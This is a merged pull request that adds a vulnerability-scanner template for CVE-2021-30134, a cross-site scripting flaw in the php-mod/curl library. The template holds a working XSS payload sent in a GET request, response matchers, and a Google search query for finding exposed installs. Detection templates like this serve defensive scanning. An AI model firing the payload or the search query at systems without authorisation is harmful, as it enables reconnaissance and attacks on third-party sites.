Merge pull request #6750 from theamanrawat/CVE-2021-30134

Added template for CVE-2021-30134

cves/2021/CVE-2021-30134.yaml

@@ -0,0 +1,37 @@
+id: CVE-2021-30134
+
+info:
+  name: php-mod/curl Library - Cross-Site Scripting
+  author: theamanrawat
+  severity: medium
+  description: |
+    php-mod/curl (a wrapper of the PHP cURL extension) before 2.3.2 allows XSS via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php.
+  reference:
+    - https://wpscan.com/vulnerability/0b547728-27d2-402e-ae17-90d539344ec7
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-30134
+  classification:
+    cve-id: CVE-2021-30134
+  metadata:
+    verified: "true"
+    google-query: inurl:"/php-curl-test/post_file_path_upload.php"
+  tags: cve,cve2021,xss,php-mod
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)>"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'key":"<img src onerror=alert(document.domain)>"'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200